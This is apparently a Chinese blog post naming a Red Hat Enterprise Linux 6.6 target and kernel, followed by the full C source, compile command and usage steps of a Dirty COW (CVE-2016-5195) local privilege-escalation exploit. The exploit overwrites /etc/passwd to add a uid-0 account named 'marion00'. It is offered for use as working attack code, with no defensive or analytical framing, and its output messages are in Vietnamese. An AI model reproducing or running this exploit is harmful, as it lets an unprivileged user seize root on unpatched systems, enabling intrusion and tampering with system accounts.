Red Hat Enterprise Linux Server

2018-12-18  本文已影响0人  小猪配不齐

发布版本:Red Hat Enterprise Linux Server release 6.6 (Santiago)
内核版本:Linux 2.6.32-504.el6.x86_64 #1 SMP Tue Sep 16 01:56:35 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux
提取漏洞:CVE-2016-5195 Dirty COW
提权脚本:Marion001.c
编译命令:gcc -pthread Marion001.c -o Marion001 -lcrypt.
参考连接:https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
参考视频:https://www.youtube.com/watch?v=uYVGvYeh5vo
攻击步骤:编译运行后会让攻击者输入新密码,此时可能需要另一个shell cat /etc/passwd 或者su marion00,原始passwd文件会被备份到/tmp/passwd.bak,攻击者只需切换到marion00账户即可root

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "marion00";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
 printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s Da Ton Tai Hay Xoa No Va Chay Lai\n", to);
    return -1;
  }

  char ch;
  FILE *source, *target;
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s Sao Luu Thanh Cong Den %s\n",from, to);
  fclose(source);
  fclose(target);
  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "marion00";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Nhap Mat Khau Moi: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Nhap Mat Khau Moi: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Thanh Cong:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);

  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Xong, Kiem Tra %s Xem Nguoi Dung Moi Da Duoc Tao Ra Chua\n", filename);
  printf("Ban Dang Nhap Voi Ten Nguoi Dung: %s Mat Khau: %s.\n\n",
    user.username, plaintext_pw);
  printf("\nKhoi Phuc Lai: %s Tu %s !!!\n\n",
    filename, backup_filename);
  return 0;
}
上一篇 下一篇

猜你喜欢

热点阅读